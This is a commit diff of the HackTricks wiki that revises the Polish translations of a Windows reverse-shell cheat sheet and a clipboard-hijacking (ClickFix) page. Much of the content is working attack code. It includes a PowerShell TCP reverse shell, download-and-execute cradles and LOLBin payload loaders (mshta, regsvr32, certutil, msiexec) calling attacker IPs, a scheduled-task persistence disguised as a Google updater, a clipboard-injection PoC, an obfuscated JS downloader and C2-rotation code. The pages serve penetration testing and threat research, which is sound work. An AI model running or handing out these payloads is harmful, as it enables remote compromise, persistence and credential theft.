Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/window

2025-10-10 18:36:50 +00:00 · 2025-09-29 13:31:20 +00:00 · 2025-09-29 13:31:20 +00:00 · f5f8d9d811
commit f5f8d9d811
parent 87084a4cf5
4 changed files with 474 additions and 356 deletions
--- a/src/generic-hacking/reverse-shells/windows.md
+++ b/src/generic-hacking/reverse-shells/windows.md
@ -1,11 +1,11 @@
-# Shells - Windows
+# Powłoki - Windows

 {{#include ../../banners/hacktricks-training.md}}

 ## Lolbas

-Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest dla Windows, tak jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla Linux.\
-Oczywiście, **nie ma plików SUID ani uprawnień sudo w Windows**, ale warto wiedzieć **jak** niektóre **binarne pliki** mogą być (nadużywane) do wykonywania pewnych nieoczekiwanych działań, takich jak **wykonywanie dowolnego kodu.**
+Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest dla Windows podobnie jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla linux.\
+Oczywiście, **nie ma plików SUID ani uprawnień sudo w Windows**, ale warto wiedzieć **jak** niektóre **binaries** mogą być (ab)użyte do wykonania pewnych nieoczekiwanych działań, takich jak **execute arbitrary code.**

 ## NC
 ```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
 ```
 ## SBD

-**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcat**. Działa na systemach podobnych do Unix i Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, konfigurowalne porty źródłowe i ciągłe ponowne łączenie, sbd oferuje wszechstronne rozwiązanie dla komunikacji TCP/IP. Dla użytkowników systemu Windows wersja sbd.exe z dystrybucji Kali Linux może być używana jako niezawodny zamiennik dla Netcat.
+**[sbd](https://www.kali.org/tools/sbd/) jest przenośną i bezpieczną alternatywą dla Netcat**. Działa na systemach typu Unix oraz Win32. Dzięki funkcjom takim jak silne szyfrowanie, uruchamianie programów, możliwość dostosowania portów źródłowych oraz automatyczne ponowne łączenie, sbd zapewnia wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników Windows, wersja sbd.exe z dystrybucji Kali Linux może być użyta jako niezawodny zamiennik Netcat.
 ```bash
 # Victims machine
 sbd -l -p 4444 -e bash -v -n
@ -81,23 +81,23 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
 Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
 ```
-Proces wykonujący wywołanie sieciowe: **powershell.exe**\
-Payload zapisany na dysku: **NIE** (_przynajmniej nigdzie nie mogłem znaleźć używając procmon !_)
+Proces wykonujący połączenie sieciowe: **powershell.exe**\
+Payload zapisany na dysku: **NIE** (_przynajmniej nigdzie, gdzie mogłem znaleźć używając procmon!_)
 ```bash
 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
 ```
-Proces wykonujący wywołanie sieciowe: **svchost.exe**\
-Ładunek zapisany na dysku: **WebDAV client local cache**
+Proces wykonujący połączenie sieciowe: **svchost.exe**\
+Payload zapisany na dysku: **WebDAV client local cache**

-**Jedna linia:**
+Jednolinijkowe polecenie:
 ```bash
 $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 ```
-**Uzyskaj więcej informacji na temat różnych powłok Powershell na końcu tego dokumentu**
+**Więcej informacji o różnych Powershell Shells znajdziesz na końcu tego dokumentu**

 ## Mshta

- [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
 ```
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
 ```bash
 mshta \\webdavserver\folder\payload.hta
 ```
-#### **Przykład odwrotnej powłoki hta-psh (użyj hta do pobrania i wykonania tylnego wejścia PS)**
+#### **Przykład hta-psh reverse shell (użyj hta do pobrania i uruchomienia PS backdoor)**
 ```xml
 <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
 ```
-**Możesz bardzo łatwo pobrać i uruchomić zombie Koadic za pomocą stagera hta**
+**Możesz bardzo łatwo pobrać i uruchomić zombie Koadic używając stagera hta**

 #### przykład hta

-[**Stąd**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
+[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
 ```xml
 <html>
 <head>
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
 ```
 #### **mshta - sct**

-[**Stąd**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -161,11 +161,11 @@ msf exploit(windows/misc/hta_server) > exploit
 ```bash
 Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
 ```
-**Wykryte przez defendera**
+**Wykryte przez Defendera**

 ## **Rundll32**

-[**Przykład Dll hello world**](https://github.com/carterjones/hello-world-dll)
+[**Przykład DLL hello world**](https://github.com/carterjones/hello-world-dll)

 - [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```bash
 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
 ```
-**Wykryte przez defendera**
+**Wykryte przez Defender**

 **Rundll32 - sct**

-[**Stąd**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
+[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 <?XML version="1.0"?>
 <!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
@ -219,9 +219,29 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
 ```
-**Wykryte przez defendera**
+**Wykrywane przez Defendera**
+
+#### Regsvr32 – dowolny eksport funkcji DLL z argumentem /i (gatekeeping & persistence)
+
+Poza ładowaniem zdalnych scriptletów (`scrobj.dll`), `regsvr32.exe` załaduje lokalny DLL i wywoła jego eksporty `DllRegisterServer`/`DllUnregisterServer`. Własne ładowarki często nadużywają tego, by wykonać dowolny kod, maskując się jako podpisany LOLBin. Dwie obserwowane w praktyce wskazówki:
+
+- Gatekeeping argument: DLL kończy działanie, chyba że przez `/i:<arg>` zostanie przekazany konkretny przełącznik, np. `/i:--type=renderer` żeby upodobnić się do procesów renderer Chromium. To zmniejsza przypadkowe uruchomienia i utrudnia analizę w sandboxach.
+- Persistence: schedule `regsvr32` to run the DLL with silent + high privileges and the required `/i` argument, masquerading as an updater task:
+```powershell
+Register-ScheduledTask \
+-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
+-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
+-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
+-TaskPath '\\GoogleSystem\\GoogleUpdater' \
+-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
+-RunLevel Highest
+```
+
+Zobacz także: wariant ClickFix clipboard‑to‑PowerShell, który przygotowuje JS loader i później utrwala się przy użyciu `regsvr32`.
+{{#ref}}
+../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+{{#endref}}

-#### Regsvr32 -sct

 [**Stąd**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
 ```html
@ -249,13 +269,13 @@ set lhost 10.2.0.5
 run
 #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
 ```
-**Możesz bardzo łatwo pobrać i uruchomić zombi Koadic używając stagera regsvr**
+**Możesz bardzo łatwo pobrać i uruchomić Koadic zombie używając stagera regsvr**

 ## Certutil

 - [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

-Pobierz B64dll, zdekoduj go i uruchom.
+Pobierz B64dll, zdekoduj ją i uruchom.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
 ```
@ -263,7 +283,7 @@ Pobierz B64exe, zdekoduj go i uruchom.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
 ```
-**Wykryte przez obrońcę**
+**Wykryte przez Defendera**

 ## **Cscript/Wscript**
 ```bash
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
 ```
-**Wykryte przez obrońcę**
+**Wykryte przez Defendera**

 ## PS-Bat
 ```bash
 \\webdavserver\folder\batchfile.bat
 ```
 Proces wykonujący wywołanie sieciowe: **svchost.exe**\
-Ładunek zapisany na dysku: **WebDAV client local cache**
+Payload zapisany na dysku: **WebDAV client local cache**
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
 impacket-smbserver -smb2support kali `pwd`
@ -289,11 +309,11 @@ impacket-smbserver -smb2support kali `pwd`
 ```bash
 \\10.8.0.3\kali\shell.bat
 ```
-**Wykryte przez obrońcę**
+**Wykryte przez Defender**

 ## **MSIExec**

-Napastnik
+Atakujący
 ```
 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
 python -m SimpleHTTPServer 80
@ -302,15 +322,15 @@ Ofiara:
 ```
 victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
 ```
-**Wykryto**
+**Wykryte**

 ## **Wmic**

- [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 wmic os get /format:"https://webserver/payload.xsl"
 ```
-Przykładowy plik xsl [stąd](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
+Przykładowy plik xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
 ```xml
 <?xml version='1.0'?>
 <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -324,15 +344,15 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
 ```
 **Nie wykryto**

-**Możesz bardzo łatwo pobrać i uruchomić zombie Koadic za pomocą stagera wmic**
+**Możesz bardzo łatwo download & execute Koadic zombie używając stager wmic**

 ## Msbuild

- [Stąd](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```
 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
 ```
-Możesz użyć tej techniki, aby obejść Application Whitelisting i ograniczenia Powershell.exe. Zostaniesz poproszony o otwarcie powłoki PS.\
+Możesz użyć tej techniki, aby obejść Application Whitelisting i ograniczenia Powershell.exe. Zostaniesz poproszony o uruchomienie PS shell.\
 Po prostu pobierz to i uruchom: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -341,13 +361,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

 ## **CSC**

-Kompiluj kod C# na maszynie ofiary.
+Skompiluj kod C# na maszynie ofiary.
 ```
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
 ```
 Możesz pobrać podstawowy C# reverse shell stąd: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)

-**Nie wykryto**
+**Niewykrywalne**

 ## **Regasm/Regsvc**

@ -355,7 +375,7 @@ Możesz pobrać podstawowy C# reverse shell stąd: [https://gist.github.com/Bank
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
 ```
-**Nie próbowałem tego**
+**Nie testowałem tego**

 [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)

@ -369,33 +389,33 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

 [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)

-## Powłoki Powershell
+## Powershell Shells

 ### PS-Nishang

 [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

-W folderze **Shells** znajduje się wiele różnych powłok. Aby pobrać i wykonać Invoke-_PowerShellTcp.ps1_, skopiuj skrypt i dodaj na końcu pliku:
+W folderze **Shells** znajduje się wiele różnych typów. Aby pobrać i uruchomić Invoke-_PowerShellTcp.ps1_ skopiuj skrypt i dopisz na końcu pliku:
 ```
 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
 ```
-Rozpocznij serwowanie skryptu na serwerze internetowym i wykonaj go po stronie ofiary:
+Rozpocznij serwowanie skryptu na serwerze WWW i uruchom go po stronie ofiary:
 ```
 powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
 ```
-Defender nie wykrywa tego jako złośliwego kodu (jeszcze, 3/04/2019).
+Defender nie wykrywa go jako złośliwego kodu (jeszcze, 3/04/2019).

-**TODO: Sprawdź inne powłoki nishang**
+**TODO: Sprawdź inne shelle nishang**

 ### **PS-Powercat**

 [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

-Pobierz, uruchom serwer WWW, uruchom nasłuchiwacz i wykonaj to po stronie ofiary:
+Pobierz, uruchom serwer WWW, uruchom listener i wykonaj go po stronie ofiary:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
-Defender nie wykrywa go jako złośliwego kodu (jeszcze, 3/04/2019).
+Defender nie wykrywa tego jako malicious code (jeszcze, 3/04/2019).

 **Inne opcje oferowane przez powercat:**

@ -420,7 +440,7 @@ powercat -l -p 443 -i C:\inputfile -rep

 [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)

-Utwórz launcher powershell, zapisz go w pliku, a następnie pobierz i uruchom.
+Stwórz powershell launcher, zapisz go w pliku, pobierz i uruchom.
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
@ -430,15 +450,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c

 [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)

-Utwórz wersję powershell backdoora metasploit za pomocą unicorn
+Utwórz wersję powershell backdoor metasploit przy użyciu unicorn
 ```
 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
 ```
-Uruchom msfconsole z utworzonym zasobem:
+Uruchom msfconsole z utworzonym resource:
 ```
 msfconsole -r unicorn.rc
 ```
-Uruchom serwer WWW, który serwuje plik _powershell_attack.txt_ i wykonaj go na ofierze:
+Uruchom serwer WWW serwujący plik _powershell_attack.txt_ i uruchom go na maszynie ofiary:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
 ```
@ -446,11 +466,11 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

 ## Więcej

-[PS>Attack](https://github.com/jaredhaight/PSAttack) konsola PS z preładowanymi niektórymi ofensywnymi modułami PS (szyfrowany)\
+[PS>Attack](https://github.com/jaredhaight/PSAttack) konsola PS z kilkoma preładowanymi ofensywnymi modułami PS (zaszyfrowane)\
 [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
-WinPWN](https://github.com/SecureThisShit/WinPwn) konsola PS z niektórymi ofensywnymi modułami PS i detekcją proxy (IEX)
+WinPWN](https://github.com/SecureThisShit/WinPwn) konsola PS z kilkoma ofensywnymi modułami PS i wykrywaniem proxy (IEX)

-## Odniesienia
+## Źródła

 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
 - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) konsola PS z niektórymi ofens
 - [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
 - [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
@ -1,16 +1,16 @@
-# Ataki na Przechwytywanie Schowka (Pastejacking)
+# Clipboard Hijacking (Pastejacking) Ataki

 {{#include ../../banners/hacktricks-training.md}}

-> "Nigdy nie wklejaj niczego, czego sam nie skopiowałeś." – stare, ale wciąż aktualne porady
+> "Nigdy nie wklejaj niczego, czego sam(a) nie skopiowałeś(-aś)." – stare, ale nadal słuszne zalecenie

 ## Przegląd

-Przechwytywanie schowka – znane również jako *pastejacking* – wykorzystuje fakt, że użytkownicy rutynowo kopiują i wklejają polecenia bez ich sprawdzania. Złośliwa strona internetowa (lub jakiekolwiek środowisko obsługujące JavaScript, takie jak aplikacja Electron lub Desktop) programowo umieszcza tekst kontrolowany przez atakującego w systemowym schowku. Ofiary są zachęcane, zazwyczaj przez starannie opracowane instrukcje inżynierii społecznej, do naciśnięcia **Win + R** (okno uruchamiania), **Win + X** (Szybki dostęp / PowerShell) lub otwarcia terminala i *wklejenia* zawartości schowka, co natychmiast wykonuje dowolne polecenia.
+Clipboard hijacking – also known as *pastejacking* – wykorzystuje fakt, że użytkownicy rutynowo kopiują i wklejają polecenia bez ich sprawdzenia. Złośliwa strona WWW (lub dowolny kontekst z obsługą JavaScript, taki jak Electron lub aplikacja desktopowa) programowo umieszcza tekst kontrolowany przez atakującego w systemowym schowku. Ofiary są zachęcane, zwykle przez starannie skonstruowane instrukcje social-engineering, aby wcisnąć **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell), lub otworzyć terminal i *wkleić* zawartość schowka, natychmiast wykonując dowolne polecenia.

-Ponieważ **żaden plik nie jest pobierany i żaden załącznik nie jest otwierany**, technika ta omija większość zabezpieczeń e-mailowych i webowych, które monitorują załączniki, makra lub bezpośrednie wykonanie poleceń. Atak jest zatem popularny w kampaniach phishingowych dostarczających powszechne rodziny złośliwego oprogramowania, takie jak NetSupport RAT, Latrodectus loader czy Lumma Stealer.
+Ponieważ **żaden plik nie jest pobierany i żaden załącznik nie jest otwierany**, technika omija większość kontroli bezpieczeństwa poczty e-mail i treści webowych, które monitorują załączniki, macros lub bezpośrednie wykonywanie poleceń. Atak jest dlatego popularny w kampaniach phishingowych dostarczających powszechne rodziny malware, takie jak NetSupport RAT, Latrodectus loader lub Lumma Stealer.

-## Dowód koncepcji w JavaScript
+## JavaScript Proof-of-Concept
 ```html
 <!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
 <button id="fix" onclick="copyPayload()">Fix the error</button>
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
 }
 </script>
 ```
-Starsze kampanie używały `document.execCommand('copy')`, nowsze polegają na asynchronicznym **Clipboard API** (`navigator.clipboard.writeText`).
+Older campaigns used `document.execCommand('copy')`, newer ones rely on the asynchronous **Clipboard API** (`navigator.clipboard.writeText`).

-## Przepływ ClickFix / ClearFake
+## Przebieg ClickFix / ClearFake

-1. Użytkownik odwiedza stronę z błędami w nazwie lub skompromitowaną (np. `docusign.sa[.]com`)
-2. Wstrzyknięty **ClearFake** JavaScript wywołuje pomocniczą funkcję `unsecuredCopyToClipboard()`, która cicho przechowuje zakodowany w Base64 skrypt PowerShell w schowku.
-3. Instrukcje HTML informują ofiarę, aby: *„Naciśnij **Win + R**, wklej polecenie i naciśnij Enter, aby rozwiązać problem.”*
-4. `powershell.exe` wykonuje, pobierając archiwum, które zawiera legalny plik wykonywalny oraz złośliwy DLL (klasyczne sideloading DLL).
-5. Loader deszyfruje dodatkowe etapy, wstrzykuje shellcode i instaluje persistencję (np. zaplanowane zadanie) – ostatecznie uruchamiając NetSupport RAT / Latrodectus / Lumma Stealer.
+1. Użytkownik odwiedza typosquatted lub skompromitowaną stronę (np. `docusign.sa[.]com`)
+2. Wstrzyknięty JavaScript **ClearFake** wywołuje helper `unsecuredCopyToClipboard()`, który w tle zapisuje w schowku Base64-encoded PowerShell one-liner.
+3. Instrukcje HTML każą ofierze: *“Naciśnij **Win + R**, wklej polecenie i naciśnij Enter, aby rozwiązać problem.”*
+4. `powershell.exe` uruchamia się, pobierając archiwum zawierające legalny plik wykonywalny oraz złośliwy DLL (classic DLL sideloading).
+5. Loader odszyfrowuje dodatkowe etapy, wstrzykuje shellcode i instaluje persistence (np. scheduled task) – ostatecznie uruchamiając NetSupport RAT / Latrodectus / Lumma Stealer.

-### Przykład łańcucha NetSupport RAT
+### Przykładowy łańcuch NetSupport RAT
 ```powershell
 powershell -nop -w hidden -enc <Base64>
 # ↓ Decodes to:
@ -40,50 +40,85 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
 Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
 %TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
 ```
-* `jp2launcher.exe` (legitymny Java WebStart) przeszukuje swój katalog w poszukiwaniu `msvcp140.dll`.
-* Złośliwe DLL dynamicznie rozwiązuje API za pomocą **GetProcAddress**, pobiera dwa pliki binarne (`data_3.bin`, `data_4.bin`) za pomocą **curl.exe**, deszyfruje je przy użyciu zmiennego klucza XOR `"https://google.com/"`, wstrzykuje końcowy shellcode i rozpakowuje **client32.exe** (NetSupport RAT) do `C:\ProgramData\SecurityCheck_v1\`.
+* `jp2launcher.exe` (prawidłowy Java WebStart) przeszukuje swój katalog w poszukiwaniu `msvcp140.dll`.
+* Złośliwy plik DLL dynamicznie rozwiązuje API przy użyciu **GetProcAddress**, pobiera dwa pliki binarne (`data_3.bin`, `data_4.bin`) za pomocą **curl.exe**, odszyfrowuje je przy użyciu rolling XOR key `"https://google.com/"`, wstrzykuje finalny shellcode i rozpakowuje **client32.exe** (NetSupport RAT) do `C:\ProgramData\SecurityCheck_v1\`.

 ### Latrodectus Loader
 ```
 powershell -nop -enc <Base64>  # Cloud Identificator: 2031
 ```
-1. Pobiera `la.txt` za pomocą **curl.exe**
-2. Wykonuje pobieracz JScript w **cscript.exe**
-3. Pobiera ładunek MSI → umieszcza `libcef.dll` obok podpisanej aplikacji → sideloading DLL → shellcode → Latrodectus.
+1. Pobiera `la.txt` przy użyciu **curl.exe**
+2. Uruchamia JScript downloader w **cscript.exe**
+3. Pobiera MSI payload → umieszcza `libcef.dll` obok podpisanej aplikacji → DLL sideloading → shellcode → Latrodectus.

-### Lumma Stealer za pomocą MSHTA
+### Lumma Stealer przez MSHTA
 ```
 mshta https://iplogger.co/xxxx =+\\xxx
 ```
-The **mshta** call uruchamia ukryty skrypt PowerShell, który pobiera `PartyContinued.exe`, wyodrębnia `Boat.pst` (CAB), rekonstruuje `AutoIt3.exe` za pomocą `extrac32` i konkatenacji plików, a na końcu uruchamia skrypt `.a3x`, który exfiltruje dane logowania przeglądarki do `sumeriavgv.digital`.
+Wywołanie **mshta** uruchamia ukryty skrypt PowerShell, który pobiera `PartyContinued.exe`, wypakowuje `Boat.pst` (CAB), odtwarza `AutoIt3.exe` za pomocą `extrac32` i łączenia plików, a na końcu uruchamia skrypt `.a3x`, który eksfiltrowuje poświadczenia przeglądarki do `sumeriavgv.digital`.

-## Wykrywanie i Polowanie
+## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)

-Zespoły niebieskie mogą łączyć dane telemetryczne z schowka, tworzenia procesów i rejestru, aby zlokalizować nadużycia pastejacking:
+Niektóre kampanie ClickFix całkowicie pomijają pobieranie plików i instruują ofiary, aby wkleiły jednowierszowy kod, który pobiera i wykonuje JavaScript za pomocą WSH, utrwala go i codziennie zmienia C2. Przykład zaobserwowanego łańcucha:
+```powershell
+powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
+ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
+```
+Key traits
+- Zamaskowany URL odwracany podczas wykonywania, by utrudnić powierzchowną inspekcję.
+- JavaScript zachowuje trwałość poprzez Startup LNK (WScript/CScript) i wybiera C2 według bieżącego dnia – umożliwiając szybką rotację domen.

-* Rejestr systemu Windows: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` przechowuje historię poleceń **Win + R** – szukaj nietypowych wpisów Base64 / obfuskowanych.
-* Identyfikator zdarzenia bezpieczeństwa **4688** (Tworzenie procesu), gdzie `ParentImage` == `explorer.exe` i `NewProcessName` w { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
-* Identyfikator zdarzenia **4663** dla tworzenia plików w `%LocalAppData%\Microsoft\Windows\WinX\` lub folderach tymczasowych tuż przed podejrzanym zdarzeniem 4688.
-* Czujniki schowka EDR (jeśli są obecne) – skoreluj `Clipboard Write` natychmiast po nowym procesie PowerShell.
+Minimal JS fragment used to rotate C2s by date:
+```js
+function getURL() {
+var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
+var current_datetime = new Date().getTime();
+var no_days = getDaysDiff(0, current_datetime);
+return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
+}
+```
+Następny etap zazwyczaj wdraża loader, który ustanawia trwałość i pobiera RAT (np. PureHVNC), często przypinając TLS do twardo zakodowanego certyfikatu i dzieląc ruch na kawałki.

-## Łagodzenia
+Detection ideas specific to this variant
+- Drzewo procesów: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
+- Artefakty autostartu: LNK w `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` wywołujący WScript/CScript z ścieżką JS pod `%TEMP%`/`%APPDATA%`.
